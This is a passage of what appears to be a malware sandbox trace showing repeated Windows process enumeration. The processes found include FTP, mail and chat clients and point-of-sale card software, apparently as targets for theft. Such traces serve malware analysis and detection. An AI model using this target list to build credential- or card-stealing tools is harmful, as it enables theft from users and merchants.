th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0131.079] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0131.081] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0131.082] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0131.084] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0131.086] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0131.088] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0131.104] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0131.106] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0131.107] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0131.109] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0131.111] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0131.112] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0131.114] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0131.116] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0131.118] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0131.120] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0131.122] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0131.125] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0131.127] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0131.129] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0131.131] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0131.133] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0131.135] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0131.137] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0131.139] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0131.142] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0131.144] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0131.146] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0131.148] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0131.150] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0131.152] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0131.154] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0131.156] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0131.366] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0131.370] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0131.373] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0131.375] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0131.378] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0131.381] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0131.383] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0131.386] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0131.391] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0131.394] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0131.396] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0131.398] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0131.430] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0131.433] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0131.435] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0131.437] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0131.439] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0131.441] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0131.443] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0131.445] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0131.447] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0131.449] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0131.451] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0131.453] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0131.455] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0131.456] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0131.458] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0131.460] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0131.462] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0131.463] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0131.466] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0131.468] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0131.469] CloseHandle (hObject=0x1fb0) returned 1 [0131.470] Sleep (dwMilliseconds=0x64) [0131.636] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fd8 [0131.655] Process32First (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.658] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0131.660] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0131.663] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.665] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0131.667] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.670] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0131.673] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0131.675] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0131.677] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.679] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.681] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0131.684] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.686] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.688] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.690] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.692] Process32Next (in: hSnapshot=0x1fd8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, 